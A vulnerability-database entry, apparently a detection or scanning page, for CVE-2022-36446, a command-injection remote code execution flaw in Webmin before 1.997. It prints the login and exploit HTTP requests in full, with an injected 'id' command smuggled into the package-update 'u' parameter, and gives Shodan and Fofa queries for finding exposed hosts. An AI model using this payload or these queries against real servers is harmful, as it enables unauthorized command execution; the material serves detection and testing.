🔙 목록으로 돌아가기

CVE-2022-36446: Webmin <1.997 - Authenticated Remote Code Execution

TitleWebmin <1.997 - Authenticated Remote Code Execution
Authorgy741
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system.
RemediationUpgrade Webmin to version 1.997 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.93625
CVE IDCVE-2022-36446
CWE IDCWE-116
Shodan Querytitle:"Webmin"http.title:"webmin"
Fofa Querytitle="webmin"
Tags cve cve2022 packetstorm webmin rce authenticated edb vuln

🔍 Vulnerability Description

Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

🌐 HTTP Request

POST /session_login.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ConnectPC Safari/537.36 Browser
Connection: close
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user=jFTUg1&pass=8WExQr
POST /package-updates/update.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 218
Referer: http://www.victim.com/package-updates/update.cgi?xnavigation=1
Accept-Encoding: gzip

mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%2738FBHUMrAqVXmAXtxaXs8LQ7ntl%27%2738FBHUMrAqVXmAXtxaXs8LQ7ntl%27%3B+id%3B+echo+%2738FBHUMrAqVXmAXtxaXs8LQ7ntl%27%2738FBHUMrAqVXmAXtxaXs8LQ7ntl%27&confirm=Install%2BNow

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-36446.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-36446.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A